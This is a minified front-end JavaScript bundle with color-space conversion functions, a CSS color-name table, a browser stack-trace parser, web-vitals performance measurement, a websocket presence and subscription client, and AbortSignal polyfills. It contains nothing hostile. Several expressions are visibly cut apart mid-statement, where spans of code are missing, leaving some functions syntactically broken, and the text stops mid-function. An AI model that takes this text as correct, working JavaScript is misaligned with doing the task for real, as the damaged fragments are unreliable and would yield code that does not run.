l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof 